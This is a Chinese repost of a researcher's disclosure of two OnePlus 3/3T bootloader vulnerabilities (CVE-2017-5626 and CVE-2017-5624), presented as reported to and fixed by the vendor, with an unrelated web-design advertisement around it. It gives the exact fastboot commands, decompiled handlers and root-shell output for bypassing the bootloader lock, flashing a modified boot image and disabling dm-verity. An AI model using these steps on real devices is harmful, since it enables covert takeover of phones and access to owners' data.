获取已锁定的OnePlus3/3T:引导加载程序漏洞

前言

站在用户的角度思考问题,与客户深入沟通,找到福绵网站设计与福绵网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:成都网站建设、成都做网站、企业官网、英文网站、手机端网站、网站推广、申请域名虚拟主机、企业邮箱。业务覆盖福绵地区。

在这篇博文中,我公开了OnePlus 3/3T引导加载程序中的两个漏洞。第一个CVE-2017-5626是影响OxygenOS 3.2-4.0.1(4.0.2修补)的高危漏洞。该漏洞允许一个物理对手(或使用ADB/ FASTBOOT访问)来绕过bootloader的锁定状态,即使Allow OEM Unlocking被禁用,无需用户确认并不会触发出厂重置。该漏洞允许内核代码执行(尽管启动时有5秒警告)。第二个漏洞CVE-2017-5624影响至今OxygenOS的所有版本,允许攻击者禁用dm-verity。这些漏洞的组合实现了强大的攻击 - 持久化的高权限代码执行,而不向用户发出任何警告,并且能够访问原始用户的数据(在受害者输入其凭据后)。

OnePlus Security披露和承认了这两个漏洞。第一个漏洞CVE-2017-5626于1月23日被披露。它也是由OnePlus工程师独立发现的。CVE-2017-5624于1月16日被披露,在未来的OxygenOS版本中得到修复 -今天的公开它的原因是因为已经有人在1月24日公布它了。

免责声明:我只测试了OnePlus 3,但OnePlus 3T也包含漏洞。

绕过引导加载程序锁(CVE-2017-5626)

OnePlus 3 &3T运行OxygenOS 3.2 - 4.0.1系统,它有两个专用的FASTBOOT oem命令:

1. fastboot oem 4F500301-绕过bootloader的锁-允许使用FASTBOOT访问来解锁设备,无视OEM Unlocking,并无需用户确认,没有用户数据擦除(正确的解锁后通常会发生)。此外,在运行此命令后设备仍然报告处于锁定状态。

2. fastboot oem 4F500302 - 重置各种引导加载程序设置。例如,它将锁定未加锁的引导加载程序,无需用户确认。

分析引导程序二进制表明其处理程序4F500301的命令非常简单:

 
 
 
 
  1. // 'oem 4F500301' handler 
  2. int sub_918427F0() 
  3.   magicFlag_dword_91989C10 = 1; 
  4.   if ( dword_9198D804 != dword_9198D804 ) 
  5.     assert(1, dword_9198D804, dword_9198D804); 
  6.   return sendOK((int)"", dword_9198D804); 

因此,它在91989C10设置了某些全局标志(我们命名为magicFlag)。通过观察其处理格式/擦除FASTBOOT命令的过程,我们可以清楚地看到在几项检查之后,magicFlag覆盖设备的锁定状态-刷入或删除分区:

 
 
 
 
  1. // 'flash' handler 
  2. const char *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3) 
  3.   char *pname; // r5@1 
  4. ... 
  5.   pname = partitionName; 
  6.   v4 = a2; 
  7.   v5 = a3; 
  8.   if ( returnTRUE1(partitionName, (int)a2) ) 
  9.   { 
  10.     result = (const char *)sub_918428F0(pname, v6); 
  11.     if ( (result || magicFlag_dword_91989C10) 
  12.       && ((result = (const char *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) ) 
  13.     { 
  14.       result = (const char *)sub_918428F0(pname, v10); 
  15.       if ( !result || magicFlag_dword_91989C10 ) 
  16.         goto LABEL_7; 
  17.       v8 = dword_9198D804; 
  18.       if ( dword_9198D804 != dword_9198D804 ) 
  19.         goto LABEL_28; 
  20.       v11 = "Critical partition flashing is not allowed"; 
  21.     } 
  22.     else 
  23.     { 
  24.       v8 = dword_9198D804; 
  25.       if ( dword_9198D804 != dword_9198D804 ) 
  26.         goto LABEL_28; 
  27.       v11 = "Partition flashing is not allowed"; 
  28.     } 
  29.     return (const char *)FAIL2((int)v11, v10); 
  30.   } 
  31. LABEL_7: 
  32.   ... 
  33.     if ( *v4 != 0xED26FF3A ) 
  34.     { 
  35.       if ( *v4 == 0xCE1AD63C ) 
  36.         cmd_flash_meta_img(pname, (unsigned int)v4, v5); 
  37.       else 
  38.         cmd_flash_mmc_img(pname, (int)v4, v5); 
  39.       goto LABEL_10; 
  40.     } 
  41.     v7 = v4; 
  42.   } 
  43.   cmd_flash_mmc_sparse_img(pname, (int)v7, v5); 
  44.   ... 
  45.  } 
  46. // 'erase' handler 
  47. int __fastcall sub_91847118(char *partitionName, int a2, int a3) 
  48.  ... 
  49.   v3 = partitionName; 
  50.   v4 = returnTRUE1(partitionName, a2); 
  51.   if ( !v4 ) 
  52.   { 
  53. LABEL_7: 
  54.     ... 
  55.     if ( v4 ) 
  56.     { 
  57.       if ( dword_9198D804 == dword_9198D804 ) 
  58.         return eraseParition(v3); 
  59.     } 
  60.     ... 
  61.   } 
  62.   v4 = sub_918428F0(v3, v5); 
  63.   if ( !v4 && !magicFlag_dword_91989C10 ) 
  64.   { 
  65.     v6 = dword_9198D804; 
  66.     if ( dword_9198D804 == dword_9198D804 ) 
  67.     { 
  68.       v7 = "Partition erase is not allowed"; 
  69.       return FAIL2((int)v7, v5); 
  70.     } 
  71.     goto LABEL_23; 
  72.   } 
  73.   v4 = sub_91842880(v3, v5); 
  74.   if ( !v4 && !magicFlag_dword_91989C10 ) 
  75.   { 
  76.     v6 = dword_9198D804; 
  77.     if ( dword_9198D804 == dword_9198D804 ) 
  78.     { 
  79.       v7 = "Partition flashing is not allowed"; 
  80.       return FAIL2((int)v7, v5); 
  81.     } 
  82. LABEL_23: 
  83.     assert(v4, v5, v6); 
  84.   } 
  85.   v4 = sub_918428F0(v3, v5); 
  86.   if ( !v4 || magicFlag_dword_91989C10 ) 
  87.     goto LABEL_7; 
  88.   v6 = dword_9198D804; 
  89.   ... 
  90.   v7 = "Critical partition erase is not allowed"; 
  91.   return FAIL2((int)v7, v5); 

利用CVE-2017-5626进行内核代码执行

通过利用此漏洞,攻击者可以刷入恶意引导映像(其中包含两个内核和Root RAMFS)来得到自身的平台。但问题是,引导程序和平台检测这样的修改,这被称为验证启动。引导加载程序验证boot和recovery分区-刷入一个修改的boot分区,例如,会在引导时提示以下警告:

另一个不会触发此警告的选项是刷入旧的未修改的引导映像 - 较旧的映像包含可被攻击者利用的已知安全漏洞。

总之,尽管有警告(5秒后自动消失),OnePlus 3 / 3T仍然允许在红色验证状态启动,因此攻击者的代码得到执行。

有无数的方法来证明这种情况的严重性,所以我选择了最简单的方法。

通过修改引导映像:

1. 我添加androidboot.selinux=permissive到内核命令行来设置SELinux的permissive模式。

2. 我已经修改了ramfsST ro.debuggable=1,ro.secure=0,ro.adb.secure=0,并改变了USB配置属性(sys.usb.config),包括启动adb。

然后,我利用此漏洞,刷入修改后的boot.img(evil_boot.img):

 
 
 
 
  1. λ fastboot flash boot evil_boot.img 
  2. target reported max download size of 440401920 bytes 
  3. sending 'boot' (14836 KB)... 
  4. OKAY [  0.335s] 
  5. writing 'boot'... 
  6. FAILED (remote: Partition flashing is not allowed) 
  7. finished. total time: 0.358s 
  8. λ  fastboot oem 4F500301 
  9. ... 
  10. OKAY [  0.020s] 
  11. finished. total time: 0.021s 
  12. λ fastboot flash boot  evil_boot.img 
  13. target reported max download size of 440401920 bytes 
  14. sending 'boot' (14836 KB)... 
  15. OKAY [  0.342s] 
  16. writing 'boot'... 
  17. OKAY [  0.135s] 
  18. finished. total time: 0.480s 

于是我得到了一个root shell,甚至在用户输入他的凭据之前:

 
 
 
 
  1. OnePlus3:/ # id 
  2. uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb), 
  3. 1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt), 
  4. 3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 
  5. OnePlus3:/ # getenforce 
  6. Permissive 

OnePlus 3 / 3T内核似乎是在启用LKM的情况下编译的,因此运行内核代码甚至不需要修补/重新编译内核。

所以我创建了一个小的内核模块:

 
 
 
 
  1. #include  
  2. #include  
  3. int init_module(void) 
  4.     printk(KERN_ALERT "Hello From Kernel\n"); 
  5.     return 1; 

然后将其加载到内核中:

 
 
 
 
  1. OnePlus3:/data/local/tmp # insmod ./test.ko 
  2. OnePlus3:/data/local/tmp # dmesg | grep Hello 
  3. [19700121_21:09:58.970409]@3 Hello From Kernel 

禁用dm-verity(CVE-2017-5624)

system分区的验证,不是boot&recovery,是通过dm-verity驱动的。我们发现可以命令一个已锁定引导程序唤醒该平台,使用另一个FASTBOOT命令禁止dm-verity:fastboot oem disable_dm_verity。

该oem disable_dm_verity处理程序如下:

 
 
 
 
  1. // 'oem disable_dm_verity' handler 
  2. int sub_9183B8EC() 
  3.   int v0; // r0@1 
  4.   int v1; // r1@1 
  5.   dmVerity_dword_91960740 = 0; 
  6.   v0 = sub_91845E10("ANDROID-BOOT!"); 
  7.   if ( dword_9198D804 != dword_9198D804 ) 
  8.     assert(v0, v1, dword_9198D804); 
  9.   return sendOK((int)"", v1); 

又一次,91960740设置了一些标志(我们称为dmVerity)。引导加载程序构建内核cmdline时会使用它:

androidboot.enable_dm_verity内核命令行参数传递到ro.boot.enable_dm_verity,然后指示OnePlus的init,是否要禁用dm-verity:

2个漏洞组合利用

这两个漏洞可以组合在一起,用于具有特权的SELinux域代码执行,而不向用户发出任何警告并访问原始用户数据。为了演示这一点(可能有成千上万更好的方法与更高的严重性),我修改了系统分区,添加了一个特权应用程序。可以在/system/priv-app/ 目录下放置APK下,最终将导致它被添加到priv_app域中。

 
 
 
 
  1. λ fastboot flash system system-modded.simg 
  2. target reported max download size of 440401920 bytes 
  3. erasing 'system'... 
  4. FAILED (remote: Partition erase is not allowed) 
  5. finished. total time: 0.014s 
  6. λ fastboot oem 4F500301 
  7. OKAY 
  8. [  0.020s] finished. total time: 0.021s 
  9. λ fastboot flash system system-modded.simg 
  10. target reported max download size of 440401920 bytes erasing 'system'... 
  11. OKAY [  0.010s] 
  12. ... 
  13. sending sparse 'system' 7/7 (268486 KB)... 
  14. OKAY [  6.748s] 
  15. writing 'system' 7/7... 
  16. OKAY [  3.291s] 
  17. finished. total time: 122.675s 
  18. λ fastboot oem disable_dm_verity 
  19. ... 
  20. OKAY 
  21. [  0.034s] finished. total time: 0.036s 

事实上,加载priv_app的应用程序上下文如下:

 
 
 
 
  1. 1|OnePlus3:/ $ getprop | grep dm_verity 
  2. [ro.boot.enable_dm_verity]: [0] 
  3. OnePlus3:/ $ ps -Z | grep roeeh 
  4. u:r:priv_app:s0:c512,c768      u0_a16    4764  2200  1716004 74600 SyS_epoll_ 0000000000 S roeeh.fooapp 

本文标题:获取已锁定的OnePlus3/3T:引导加载程序漏洞
文章来源:http://www.shufengxianlan.com/qtweb/news37/294237.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联